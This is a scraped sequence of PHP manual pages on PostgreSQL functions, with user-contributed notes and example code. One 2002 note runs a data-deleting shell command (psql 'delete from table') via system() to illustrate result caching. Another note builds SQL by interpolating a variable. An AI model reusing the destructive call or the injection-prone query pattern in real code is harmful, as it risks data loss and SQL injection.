}

(Error checking removed for clarity)
zoli at makettinfo.hu 21-May-2006 05:07
It would be better this way:

<?php
  $result=pg_query($conn, "SELECT COUNT(*) AS rows FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if ($line = pg_fetch_assoc($result)) {
    if ($line['rows'] == 0) {
     echo "0 records"
    }
  }
  else {
   while ($row = pg_fetch_array($result)) {
     //do stuff with $row
   }
  }
?>

This solution doesn't raise the load of the system with the move of matching rows (perhaps 0,1, perhaps 100, 1000, ... rows)
mankyd 13-May-2006 04:21
There was a typo in the code that I posted:

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if (pg_num_rows($result) == 0) {
   echo "0 records"
  }
  else {
   while ($row = pg_fetch_array($result)) {
     //do stuff with $row
   }
  }
?>
mankyd 13-May-2006 03:56
Improving upon what jsuzuki said:

It's probably better to use pg_num_rows() to see if no rows were returned, as that leaves the resultset cursor pointed to the first row so you can use it in a loop.

Example:

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if (pg_num_rows($result) == 0) {
   echo "0 records"
  }
  else {
    while ($row = pg_fetch_array($result) {
      //do stuff with $row
    }
  }
?>

I, personally, also find it more readable.
jsuzuki at spamcop dot net 27-Nov-2005 02:58
expanding on the note left by "cmoore" -

To check to see if the recordset returned no records,

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
    echo "query did not execute";
  }
  $rs = pg_fetch_assoc($result);
  if (!$rs) {
    echo "0 records"
  }
?>

-jack
Jan-Willem Regeer 28-Sep-2005 01:58
In reply to david dot bouriaud at ac-rouen dot fr:

All it is doing is internal caching. How can that be dangerous. If you are going to be deleting records after you have closed the connection it is your problem to make sure you have the latest and greatest records, and not some cached ones. Considering you are writing the script I don't see why it is a problem, you know what you are doing in the script, so it is quite useless for PHP to invalidate the cache, when that could be done upon exiting the script, which would mean there was less time spent cleaning out the cache when it counts most (when returning data to the user).
cmoore 05-Sep-2005 08:20
One thing to note that wasn't obvious to me at first.  If your query returns zero rows, that is not a "failed" query.  So the following is wrong:
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
    echo "No a=b in x\n";
  }

pg_query returns FALSE if the query can not be executed for some reason.  If the query is executed but returns zero rows then you get back a resul with no rows.
Akbar 01-Dec-2004 05:07
Use pg_query to call your stored procedures, and use pg_fetch_result when getting a value (like a smallint as in this example) returned by your stored procedure.

<?php
$pgConnection = pg_connect("dbname=users user=me");

$userNameToCheckFor = "metal";

$result = pg_query($pgConnection, "SELECT howManyUsersHaveThisName('$userNameToCheckFor')");

$count = pg_fetch_result($result, 0, 'howManyUsersHaveThisName');
?>
yoshinariatsuo at yahoo dot com 23-Apr-2003 08:59
create table from pg_query results.. hope it helps newbies...
function table_create($result)
{
    $numrows = pg_num_rows($result);
    $fnum = pg_num_fields($result);

    echo "<table border width='100%'>";
    echo "<tr>";

    for ($x = 0; $x < $fnum; $x++) {
        echo "<td><b>";
        echo strtoupper(pg_field_name($result, $x));
        echo "</b></td>";
    }

    echo "</tr>";

    for ($i = 0; $i < $numrows; $i++) {
        $row = pg_fetch_object($result, $i);
        echo "<tr align='center'>";
        for ($x = 0; $x < $fnum; $x++) {
    $fieldname = pg_field_name($result, $x);
    echo "<td>";
    echo $row->$fieldname;
    echo "</td>";
        }
        echo"</tr>";
    }
    echo "</table>";

    return 0;
}
mentat at azsoft dot pl 14-Oct-2002 02:16
$GLOBALS["PG_CONNECT"]=pg_connect(...);
....

function query ($sqlQuery,$var=0) {
   if (!$GLOBALS["PG_CONNECT"]) return 0;
   $lev=error_reporting (8); //NO WARRING!!
   $result=pg_query ($sqlQuery);
   error_reporting ($lev); //DEFAULT!!
   if (strlen ($r=pg_last_error ($GLOBALS["PG_CONNECT"]))) {
      if ($var) {
        echo "<p color=\"red\">ERROR:<pre>";
        echo $sqlQuery;
        echo "</pre>";
        echo $r;
        echo "&lt/p>";
      }
      close_db ();
      return 0;
   }
   return $result;
}
hierophantNOSPAM at pcisys dot net 17-Jun-2002 09:50
Regarding david.bouriaud@ac-rouen.fr:
You misunderstand SQL. When a query is issued, results applicable at the time of the query are returned to the application (i.e. PHP). There is no further reference to the database required. Thus, all of the pg_fetch_* functions are acting on an internal data storage, NOT the database itself. This is because SQL does not have a concept of sets, or of state (except in limited circumstances provided by transactions). However, if you use a cursor instead, fetching only one record at a time, you may get an error if you delete the table. If you don't, it is an issue with Postgres, not PHP.
jvarner at dsrglobal dot com 11-May-2002 12:18
That's why your code should never assume it has the very latest data unless it locks it.
david dot bouriaud at ac-rouen dot fr 07-May-2002 07:54
Hi to all !
It seems that the old pg_exec function does not do what it is expected to.
In the doc, it is said that it returns a resource identifier on the successful querry that was send to the backend.
It seems to me that it is more than a resource identifier.
Follow the example :

<?php
$ConnId = pg_connect ("blablabla");
$ResId = pg_exec ("select * from table", $ConnId);
pg_close ($ConnId);
$row = pg_fetch_array ($ResId, 4);
?>

I closed the connection voluntarily before the pg_fetch_array. It WORKS !

Now, imagine the following script :
<?php
$ConnId = pg_connect ("blablabla");
$ResId = pg_exec ("select * from table", $ConnId);
pg_close ($ConnId);
system ("psql base -c delete from table");
$row = pg_fetch_array ($ResId, 4);
?>
See how it could be harmful !!!! I think that the coders have done this for performances reasons, but it is not the right way do do so !!!


Returns an individual field of an error report.

  • « pg_query
  • pg_result_error »
  • PHP Manual
  • PostgreSQL Functions
  • Returns an individual field of an error report.

pg_result_error_field

(PHP 5 >= 5.1.0)

pg_result_error_field — Returns an individual field of an error report.

Description

string pg_result_error_field ( resource $result , int $fieldcode )

pg_result_error_field() returns one of the detailed error message fields associated with result resource. It is only available against a PostgreSQL 7.4 or above server. The error field is specified by the fieldcode.

Because pg_query() and pg_query_params() return FALSE if the query fails, you must use pg_send_query() and pg_get_result() to get the result handle.

If you need to get additional error information from failed pg_query() queries, use pg_set_error_verbosity() and pg_last_error() and then parse the result.

Parameters

result

A PostgreSQL query result resource from a previously executed statement.

fieldcode

Possible fieldcode values are: PGSQL_DIAG_SEVERITY, PGSQL_DIAG_SQLSTATE, PGSQL_DIAG_MESSAGE_PRIMARY, PGSQL_DIAG_MESSAGE_DETAIL, PGSQL_DIAG_MESSAGE_HINT, PGSQL_DIAG_STATEMENT_POSITION, PGSQL_DIAG_INTERNAL_POSITION (PostgreSQL 8.0+ only), PGSQL_DIAG_INTERNAL_QUERY (PostgreSQL 8.0+ only), PGSQL_DIAG_CONTEXT, PGSQL_DIAG_SOURCE_FILE, PGSQL_DIAG_SOURCE_LINE or PGSQL_DIAG_SOURCE_FUNCTION.

Return Values

A string containing the contents of the error field, NULL if the field does not exist or FALSE on failure.

Examples

Example #1 pg_result_error_field() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from doesnotexist;");
  }

  $res1 = pg_get_result($dbconn);
  echo pg_result_error_field($res1, PGSQL_DIAG_SQLSTATE);
?>

See Also

  • pg_result_error() - Get error message associated with result

User Contributed Notes

There are no user contributed notes for this page.


Get error message associated with result

  • « pg_result_error_field
  • pg_result_seek »
  • PHP Manual
  • PostgreSQL Functions
  • Get error message associated with result

pg_result_error

(PHP 4 >= 4.2.0, PHP 5)

pg_result_error — Get error message associated with result

Description

string pg_result_error ( resource $result )

pg_result_error() returns any error message associated with the result resource. Therefore, the user has a better chance of getting the correct error message than with pg_last_error().

The function pg_result_error_field() can give much greater detail on result errors than pg_result_error().

Because pg_query() returns FALSE if the query fails, you must use pg_send_query() and pg_get_result() to get the result handle.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

Return Values

Returns a string. Returns empty string if there is no error. If there is an error associated with the result parameter, returns FALSE.

Examples

Example #1 pg_result_error() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from doesnotexist;");
  }

  $res1 = pg_get_result($dbconn);
  echo pg_result_error($res1);
?>

See Also

  • pg_result_error_field() - Returns an individual field of an error report.
  • pg_query() - Execute a query
  • pg_send_query() - Sends asynchronous query
  • pg_get_result() - Get asynchronous query result
  • pg_last_error() - Get the last error message string of a connection
  • pg_last_notice() - Returns the last notice message from PostgreSQL server

User Contributed Notes

spamuser at test dot com 16-Mar-2011 10:14
pg_result_error does NOT work with prepared statements.
axon dot wp at wp dot pl 03-Mar-2006 01:20
You can  use pg_set_error_verbosity() to retrieve SQLSTATUS from pg_last_error().
16-Mar-2004 01:12
Because pg_query() returns FALSE if the query fails, you must must use pg_send_query() and pg_get_result() to get the result handle.

PostgreSQL 7.4 introduced a new function called PQresultErrorField() that can be used to get SQLSTATE code from a query, which is far more useful than the error string returned from pg_result_error().
http://www.postgresql.org/docs/7.4/static/libpq-exec.html
http://www.postgresql.org/docs/7.4/static/errcodes-appendix.html

Here's a patch that adds the pg_result_error_field() function to PHP:
http://collapsed.net/patches/php-4.3.5RC3-pg_result_error_field.diff
(To apply the patch cd into your php-4.3.5RC directory and type: patch -p1 </path/to/php-4.3.5RC3-pg_result_error_field.diff)

Example code:
<?php
  if(!($db = pg_connect("user=foo password=bar dbname=foobar")))
    die("pg_connect");

  if(!pg_send_query($db, "SELECT foo FROM bar"))
    die("pg_send_query");

  if(!($result = pg_get_result($db)))
    die("pg_get_result");

  echo(pg_result_error($result) . "<br />\n");

  /* only available if you have patched php */
  if(function_exists("pg_result_error_field"))
  {
    $fieldcode = array(
      "PGSQL_DIAG_SEVERITY",        "PGSQL_DIAG_SQLSTATE",
      "PGSQL_DIAG_MESSAGE_PRIMARY", "PGSQL_DIAG_MESSAGE_DETAIL",
      "PGSQL_DIAG_MESSAGE_HINT",    "PGSQL_DIAG_STATEMENT_POSITION",
      "PGSQL_DIAG_CONTEXT",         "PGSQL_DIAG_SOURCE_FILE",
      "PGSQL_DIAG_SOURCE_LINE",     "PGSQL_DIAG_SOURCE_FUNCTION");

    foreach($fieldcode as $fcode)
    {
      printf("%s: %s<br />\n",
        $fcode,
        pg_result_error_field($result, constant($fcode)));
    }

    pg_free_result($result);
  }
?>

<?php pg_result_error_field($result, PGSQL_DIAG_SQLSTATE); ?>
Returns the SQLSTATE code.


Set internal row offset in result resource

  • « pg_result_error
  • pg_result_status »
  • PHP Manual
  • PostgreSQL Functions
  • Set internal row offset in result resource

pg_result_seek

(PHP 4 >= 4.3.0, PHP 5)

pg_result_seek — Set internal row offset in result resource

Description

bool pg_result_seek ( resource $result , int $offset )

pg_result_seek() sets the internal row offset in a result resource.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

offset

Row to move the internal offset to in the result resource. Rows are numbered starting from zero.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_result_seek() example

<?php

// Connect to the database
$conn = pg_pconnect("dbname=publisher");

// Execute a query
$result = pg_query($conn, "SELECT author, email FROM authors");

// Seek to the 3rd row (assuming there are 3 rows)
pg_result_seek($result, 2);

// Fetch the 3rd row
$row = pg_fetch_row($result);

?>

See Also

  • pg_fetch_row() - Get a row as an enumerated array
  • pg_fetch_assoc() - Fetch a row as an associative array
  • pg_fetch_array() - Fetch a row as an array
  • pg_fetch_object() - Fetch a row as an object
  • pg_fetch_result() - Returns values from a result resource

User Contributed Notes

andrew-php dot net at andrew dot net dot au 18-Sep-2004 05:01
Ah, this is a handy feature for resetting the record index, for example, if you're used pg_fetch_{row,array,assoc} to iterate over the result set, and you want to do it again later on, without reexecuting your query. Something like:

<?php pg_result_seek($result, 0); ?>

will allow you to iterate over the result set all over again...


Get status of query result

  • « pg_result_seek
  • pg_select »
  • PHP Manual
  • PostgreSQL Functions
  • Get status of query result

pg_result_status

(PHP 4 >= 4.2.0, PHP 5)

pg_result_status — Get status of query result

Description

mixed pg_result_status ( resource $result [, int $type = PGSQL_STATUS_LONG ] )

pg_result_status() returns the status of a result resource, or the PostgreSQL command completion tag associated with the result

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

type

Either PGSQL_STATUS_LONG to return the numeric status of the result, or PGSQL_STATUS_STRING to return the command tag of the result. If not specified, PGSQL_STATUS_LONG is the default.

Return Values

Possible return values are PGSQL_EMPTY_QUERY, PGSQL_COMMAND_OK, PGSQL_TUPLES_OK, PGSQL_COPY_OUT, PGSQL_COPY_IN, PGSQL_BAD_RESPONSE, PGSQL_NONFATAL_ERROR and PGSQL_FATAL_ERROR if PGSQL_STATUS_LONG is specified. Otherwise, a string containing the PostgreSQL command tag is returned.

Examples

Example #1 pg_result_status() example

<?php

// Connect to the database
$conn = pg_pconnect("dbname=publisher");

// Execute a COPY
$result = pg_query($conn, "COPY authors FROM STDIN;");

// Get the result status
$status = pg_result_status($result);

// Determine status
if ($status == PGSQL_COPY_IN)
   echo "Copy began.";
else
   echo "Copy failed.";

?>

The above example will output:

Copy began.

See Also

  • pg_connection_status() - Get connection status

User Contributed Notes

Anonymous 02-Mar-2014 03:44
This function is useful it may not return a  full non fatal error but you want to see if the query completes anyway.

example

<?PHP
//connect to pg database
// create PGSQL

$PGSTAT = pg_result_status($PGSQL);//defaults to long

//And run it through a check for example

if(($PGSTAT == 1) || ($PGSTAT == 2)){
 // for query results;
}else if(($PGSTAT == 3) || ($PGSTAT == 4)){
 // for copy results;
}
if(($PGSTAT != 0) && ($PGSTAT != 5) && ($PGSTAT != 6) && ($PGSTAT != 7)){
// your code;
}else{
 // $ERRORS codes;
}
// This is worked the best for me so far  I tried using
// The command tag and I seem to still get an numeric result
//example
//$PGSTAT = pg_result_status($PGSQL, PGSQL_COMMAND_OK);
// got something like tuples ok so I recommend just use default long
?>
or use what ever condition check you feel fit
dean at deansas dot org 02-Feb-2013 12:50
The postgres docs say that PHP should never be able to return PGRES_NONFATAL_ERROR

"A result of status PGRES_NONFATAL_ERROR will never be returned directly by PQexec or other query execution functions" http://www.postgresql.org/docs/current/static/libpq-exec.html

Therefore you cannot use this function to check if this query produced a notice.
Meej Vaj 09-Jun-2005 03:45
If on "accident" your program passes pg_result_status a variable that is NOT a actual pg resource, it will return an empty string.
(This is important to know if you want to make sure a pg resource is "good" before attempting some operation on it).
romix at gmx dot de 16-Oct-2002 03:29
0 = PGSQL_EMPTY_QUERY
1 = PGSQL_COMMAND_OK
2 = PGSQL_TUPLES_OK
3 = PGSQL_COPY_TO
4 = PGSQL_COPY_FROM
5 = PGSQL_BAD_RESPONSE
6 = PGSQL_NONFATAL_ERROR
7 = PGSQL_FATAL_ERROR


Select records

  • « pg_result_status
  • pg_send_execute »
  • PHP Manual
  • PostgreSQL Functions
  • Select records

pg_select

(PHP 4 >= 4.3.0, PHP 5)

pg_select — Select records

Description

mixed pg_select ( resource $connection , string $table_name , array $assoc_array [, int $options = PGSQL_DML_EXEC ] )

pg_select() selects records specified by assoc_array which has field=>value. For a successful query, it returns an array containing all records and fields that match the condition specified by assoc_array.

If options is specified, pg_convert() is applied to assoc_array with the specified flags.

Parameters

connection

PostgreSQL database connection resource.

table_name

Name of the table from which to select rows.

assoc_array

An array whose keys are field names in the table table_name, and whose values are the conditions that a row must meet to be retrieved.

options

Any number of PGSQL_CONV_FORCE_NULL, PGSQL_DML_NO_CONV, PGSQL_DML_ESCAPE, PGSQL_DML_EXEC, PGSQL_DML_ASYNC or PGSQL_DML_STRING combined. If PGSQL_DML_STRING is part of the options then query string is returned. When PGSQL_DML_NO_CONV or PGSQL_DML_ESCAPE is set, it does not call pg_convert() internally.

Return Values

Returns TRUE on success or FALSE on failure. Returns string if PGSQL_DML_STRING is passed via options.

Examples

Example #1 pg_select() example

<?php
  $db = pg_connect('dbname=foo');
  // This is safe, since $_POST is converted automatically
  $rec = pg_select($db, 'post_log', $_POST);
  if ($rec) {
      echo "Records selected\n";
      var_dump($rec);
  } else {
      echo "User must have sent wrong inputs\n";
  }
?>

Changelog

Version | Description
5.6.0 | No longer experimental. Added PGSQL_DML_ESCAPE constant, TRUE/FALSE and NULL data type support.
5.5.3/5.4.19 | Direct SQL injection to table_name and Indirect SQL injection to identifiers are fixed.

See Also

  • pg_convert() - Convert associative array values into suitable for SQL statement

User Contributed Notes

wietse at cj2 dot nl 27-Feb-2006 05:20
David mentioned that you can't do a Select all.
However, when executing this script:
<?php
    $conn_string = "dbname=mydb";
    $db = pg_connect($conn_string);
    $selectfields = array("imgid" => "");
    $records = pg_select($db,"mmsfiles",$selectfields);
    print_r($records);
?>
...I get this result:
Array
(
    [0] => Array
        (
            [imgid] => 1
            [file] => /home/wietse/public_html/mms/images/1.gif
            [thumb] =>
        )
    [1] => Array
        (
            [imgid] => 2
            [file] => /home/wietse/public_html/mms/images/2.gif
            [thumb] =>
        )
    [2] => Array
        (
            [imgid] => 3
            [file] => /home/wietse/public_html/mms/images/3.gif
            [thumb] =>
        )
    [3] => Array
        (
            [imgid] => 4
            [file] => /home/wietse/public_html/mms/images/4.gif
            [thumb] =>
        )
)
david dot tulloh at infaze dot com dot au 17-May-2005 06:46
Valid options are PGSQL_DML_NO_CONV, PGSQL_DML_EXEC, PGSQL_DMP_ASYNC, PGSQL_DML_STRING (pulled out of source code).

This function does not support selecting from multiple tables.  You can get around this by setting the PGSQL_DML_NO_CONV option.  This prevents the error which occurs when the function tries to convert the condition array.

I think it is also important to point out that the table_name field is not safe, particularily with the PGSQL_DML_NO_CONV option.

The arguements array field is compulsory, as documented.  What isn't so clear is that the array has to actually have some values in it, you can't do a select all.

In summary, this function is good for a very small subset of basic queries.  If you are after anything more complex you are better off with pg_query.


Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).

  • « pg_select
  • pg_send_prepare »
  • PHP Manual
  • PostgreSQL Functions
  • Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).

pg_send_execute

(PHP 5 >= 5.1.0)

pg_send_execute — Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).

Description

bool pg_send_execute ( resource $connection , string $stmtname , array $params )

Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).

This is similar to pg_send_query_params(), but the command to be executed is specified by naming a previously-prepared statement, instead of giving a query string. The function's parameters are handled identically to pg_execute(). Like pg_execute(), it will not work on pre-7.4 versions of PostgreSQL.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

stmtname

The name of the prepared statement to execute. if "" is specified, then the unnamed statement is executed. The name must have been previously prepared using pg_prepare(), pg_send_prepare() or a PREPARE SQL command.

params

An array of parameter values to substitute for the $1, $2, etc. placeholders in the original prepared query string. The number of elements in the array must match the number of placeholders.

Return Values

Returns TRUE on success, FALSE on failure. Use pg_get_result() to determine the query result.

Examples

Example #1 Using pg_send_execute()

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // Prepare a query for execution
  if (!pg_connection_busy($dbconn)) {
    pg_send_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');
    $res1 = pg_get_result($dbconn);
  }

  // Execute the prepared query.  Note that it is not necessary to escape
  // the string "Joe's Widgets" in any way
  if (!pg_connection_busy($dbconn)) {
    pg_send_execute($dbconn, "my_query", array("Joe's Widgets"));
    $res2 = pg_get_result($dbconn);
  }

  // Execute the same prepared query, this time with a different parameter
  if (!pg_connection_busy($dbconn)) {
    pg_send_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));
    $res3 = pg_get_result($dbconn);
  }

?>

See Also

  • pg_prepare() - Submits a request to create a prepared statement with the given parameters, and waits for completion.
  • pg_send_prepare() - Sends a request to create a prepared statement with the given parameters, without waiting for completion.
  • pg_execute() - Sends a request to execute a prepared statement with given parameters, and waits for the result.

User Contributed Notes

There are no user contributed notes for this page.


Sends a request to create a prepared statement with the given parameters, without waiting for completion.

  • « pg_send_execute
  • pg_send_query_params »
  • PHP Manual
  • PostgreSQL Functions
  • Sends a request to create a prepared statement with the given parameters, without waiting for completion.

pg_send_prepare

(PHP 5 >= 5.1.0)

pg_send_prepare — Sends a request to create a prepared statement with the given parameters, without waiting for completion.

Description

bool pg_send_prepare ( resource $connection , string $stmtname , string $query )

Sends a request to create a prepared statement with the given parameters, without waiting for completion.

This is an asynchronous version of pg_prepare(): it returns TRUE if it was able to dispatch the request, and FALSE if not. After a successful call, call pg_get_result() to determine whether the server successfully created the prepared statement. The function's parameters are handled identically to pg_prepare(). Like pg_prepare(), it will not work on pre-7.4 versions of PostgreSQL.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

stmtname

The name to give the prepared statement. Must be unique per-connection. If "" is specified, then an unnamed statement is created, overwriting any previously defined unnamed statement.

query

The parameterized SQL statement. Must contain only a single statement. (multiple statements separated by semi-colons are not allowed.) If any parameters are used, they are referred to as $1, $2, etc.

Return Values

Returns TRUE on success, FALSE on failure. Use pg_get_result() to determine the query result.

Examples

Example #1 Using pg_send_prepare()

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // Prepare a query for execution
  if (!pg_connection_busy($dbconn)) {
    pg_send_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');
    $res1 = pg_get_result($dbconn);
  }

  // Execute the prepared query.  Note that it is not necessary to escape
  // the string "Joe's Widgets" in any way
  if (!pg_connection_busy($dbconn)) {
    pg_send_execute($dbconn, "my_query", array("Joe's Widgets"));
    $res2 = pg_get_result($dbconn);
  }

  // Execute the same prepared query, this time with a different parameter
  if (!pg_connection_busy($dbconn)) {
    pg_send_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));
    $res3 = pg_get_result($dbconn);
  }

?>

See Also

  • pg_connect() - Open a PostgreSQL connection
  • pg_pconnect() - Open a persistent PostgreSQL connection
  • pg_execute() - Sends a request to execute a prepared statement with given parameters, and waits for the result.
  • pg_send_execute() - Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).
  • pg_send_query_params() - Submits a command and separate parameters to the server without waiting for the result(s).

User Contributed Notes

There are no user contributed notes for this page.


Submits a command and separate parameters to the server without waiting for the result(s).

  • « pg_send_prepare
  • pg_send_query »
  • PHP Manual
  • PostgreSQL Functions
  • Submits a command and separate parameters to the server without waiting for the result(s).

pg_send_query_params

(PHP 5 >= 5.1.0)

pg_send_query_params — Submits a command and separate parameters to the server without waiting for the result(s).

Description

bool pg_send_query_params ( resource $connection , string $query , array $params )

Submits a command and separate parameters to the server without waiting for the result(s).

This is equivalent to pg_send_query() except that query parameters can be specified separately from the query string. The function's parameters are handled identically to pg_query_params(). Like pg_query_params(), it will not work on pre-7.4 PostgreSQL connections, and it allows only one command in the query string.

Parameters

connection

PostgreSQL database connection resource.

query

The parameterized SQL statement. Must contain only a single statement. (multiple statements separated by semi-colons are not allowed.) If any parameters are used, they are referred to as $1, $2, etc.

params

An array of parameter values to substitute for the $1, $2, etc. placeholders in the original prepared query string. The number of elements in the array must match the number of placeholders.

Return Values

Returns TRUE on success or FALSE on failure.

Use pg_get_result() to determine the query result.

Examples

Example #1 Using pg_send_query_params()

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // Using parameters.  Note that it is not necessary to quote or escape
  // the parameter.
  pg_send_query_params($dbconn, 'select count(*) from authors where city = $1', array('Perth'));

  // Compare against basic pg_send_query usage
  $str = pg_escape_string('Perth');
  pg_send_query($dbconn, "select count(*) from authors where city = '${str}'");
?>

See Also

  • pg_send_query() - Sends asynchronous query

User Contributed Notes

There are no user contributed notes for this page.


Sends asynchronous query

  • « pg_send_query_params
  • pg_set_client_encoding »
  • PHP Manual
  • PostgreSQL Functions
  • Sends asynchronous query

pg_send_query

(PHP 4 >= 4.2.0, PHP 5)

pg_send_query — Sends asynchronous query

Description

bool pg_send_query ( resource $connection , string $query )

pg_send_query() sends a query or queries asynchronously to the connection. Unlike pg_query(), it can send multiple queries at once to PostgreSQL and get the results one by one using pg_get_result().

Script execution is not blocked while the queries are executing. Use pg_connection_busy() to check if the connection is busy (i.e. the query is executing). Queries may be cancelled using pg_cancel_query().

Although the user can send multiple queries at once, multiple queries cannot be sent over a busy connection. If a query is sent while the connection is busy, it waits until the last query is finished and discards all its results.

Parameters

connection

PostgreSQL database connection resource.

query

The SQL statement or statements to be executed.

Data inside the query should be properly escaped.

Return Values

Returns TRUE on success or FALSE on failure.

Use pg_get_result() to determine the query result.

Examples

Example #1 pg_send_query() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from authors; select count(*) from authors;");
  }

  $res1 = pg_get_result($dbconn);
  echo "First call to pg_get_result(): $res1\n";
  $rows1 = pg_num_rows($res1);
  echo "$res1 has $rows1 records\n\n";

  $res2 = pg_get_result($dbconn);
  echo "Second call to pg_get_result(): $res2\n";
  $rows2 = pg_num_rows($res2);
  echo "$res2 has $rows2 records\n";
?>

The above example will output:

First call to pg_get_result(): Resource id #3
Resource id #3 has 3 records

Second call to pg_get_result(): Resource id #4
Resource id #4 has 1 records

See Also

  • pg_query() - Execute a query
  • pg_cancel_query() - Cancel an asynchronous query
  • pg_get_result() - Get asynchronous query result
  • pg_connection_busy() - Get connection is busy or not

User Contributed Notes

moodsey211 at gmail dot com 13-Dec-2010 10:48
pg_send_query would not stop your script from executing but it would stop the script from exiting.

Example:

<?php
$con = pg_connect('dbname=payroll');
pg_send_query('SELECT process_payroll()'); // Where process_payroll is a super long process
?>

You would still need to wait for the query to finish before the any display would be sent to the browser. And surprisingly, unlike pg_query this script would not generate the Maximum execution time error.
rw burgholzer is name at deq dot virginia dot gov 30-Jul-2009 06:36
Regarding the failure to process them all now, then retrieve the results later, I found that all queries would return successfully if I added a further condition to your while loop in the "stack_query()" method.

By adding:
&& (pg_transaction_status($conn) === PGSQL_TRANSACTION_IDLE ) )

Every query executed with no errors.

<?php
$conn = pg_connect("dbname=dbname host=localhost user=psql ");
if ($conn === FALSE)
  exit("Can't connect to db");

$q = array();
// send some queries
foreach (range(0, 50) as $i)
  stack_query($q, $conn, "SELECT 'query $i' AS str;");
// receive them
while (true)
  {
    $left = stack_query($q, $conn);
    echo "$left left... ";
    $result = pg_get_result($conn);
    if ($left == 0 && $result === FALSE)
      break;
    $row = pg_fetch_assoc($result);
    // depending on race conditions, you wont get all your original queries here.
    echo "got $row[str]\n";
  }

function stack_query(&$queries, $conn, $sql = FALSE)
{
  if ($sql !== FALSE)
    $queries[] = $sql;
  while (count($queries) && !pg_connection_busy($conn)  && (pg_transaction_status($conn) === PGSQL_TRANSACTION_IDLE ) )
    pg_send_query($conn, array_shift($queries));
  return count($queries) + (pg_connection_busy($conn) ? 1 : 0);
}
?>
vincentdephily 29-Nov-2005 02:25
Note that if you send a query without calling pg_get_result() for the previous one (supposing it has finished and the connection is not busy), the previous query will get discarded.

See for yourself (tested on php4.4.0, postgres8.0.4, Linux/FreeBSD) :
<?
$conn = pg_connect("dbname=template1 host=localhost user=pgsql");
if ($conn === FALSE)
  exit("Can't connect to db");

$q = array();
// send some queries
foreach (range(0, 500) as $i)
  stack_query($q, $conn, "SELECT 'query $i' AS str;");
// receive them
while (true)
  {
    $left = stack_query($q, $conn);
    echo "$left left... ";
    $result = pg_get_result($conn);
    if ($left == 0 && $result === FALSE)
      break;
    $row = pg_fetch_assoc($result);
    // depending on race conditions, you wont get all your original queries here.
    echo "got $row[str]\n";
  }

function stack_query(&$queries, $conn, $sql = FALSE)
{
  if ($sql !== FALSE)
    $queries[] = $sql;
  while (count($queries) && !pg_connection_busy($conn))
    pg_send_query($conn, array_shift($queries));
  return count($queries) + (pg_connection_busy($conn) ? 1 : 0);
}
?>

You will have to write a higher level of abstraction if you want a "send all queries now, receive them later" behaviour.
Likeyouover others at hotmail dot com 02-Sep-2003 11:29
<?php
// --------- OPEN CONN ---

   $conn = pg_connect("host='127.0.0.1' dbname='test' user='usertest' password='passtest'");

// --------- OPEN FILE ---

   $fp = fopen('logo.gif', "r");
   $buffer = fread($fp, filesize('logo.gif'));
   fclose($fp);

// --------- CREATE - INSERT OID ---

   pg_exec($conn, "begin");

   $oid = pg_locreate($conn);

   $rs = pg_exec($conn,"INSERT INTO test(tipo, images) VALUES('A1', $oid);");
   $handle = pg_loopen ($conn, $oid, "w");

   pg_lowrite ($handle, $buffer);
   pg_loclose ($handle);

   pg_exec($conn, "commit");

// --------- OPEN - INSERT OID ---

   $rs = pg_exec($conn, "SELECT images FROM test WHERE tipo = 'A1';");
   $row = pg_fetch_row($rs, 0);

   pg_exec($conn, "begin");
   $loid = pg_loopen($conn, $row[0], "r");

   header("Content-type: image/gif");

   pg_loreadall($loid);
   pg_loclose($loid);

   pg_exec ($conn, "commit");

// --------- UNLINK OID ---

   pg_exec($conn, "begin");

   $loid = $row[0];
   pg_lounlink($conn, $loid);

   pg_exec ($conn, "commit");

// --------- DELETE OID ---

   pg_exec($conn, "DELETE FROM test WHERE tipo = 'A1';");

// --------- CLOSE CONN ---

   pg_close();
?>
Mikewithme at yahoo dot com 02-Sep-2003 11:28
Due to a bug, OLD API does not available with PHP 4.2.0 and 4.2.1.

PHP 4.2.2 will support OLD API again and will be kept long enough.

New API will be available PHP 4.2.0 to later versions.
yohgaki at php dot net
19-Jun-2002 04:00
Due to a bug, PHP 4.2.0 and 4.2.1 does not support pg_lo_import() old API. It's fixed in PHP 4.2.2.

BTW, new API will be always available from PHP 4.2.0 to later versions. Older API will be kept long enough, also.
ceco at noxis dot net
15-May-2002 09:08
it works for me (php-4.2.1)

not like this

int pg_lo_import ( string pathname [, resource connection])

but
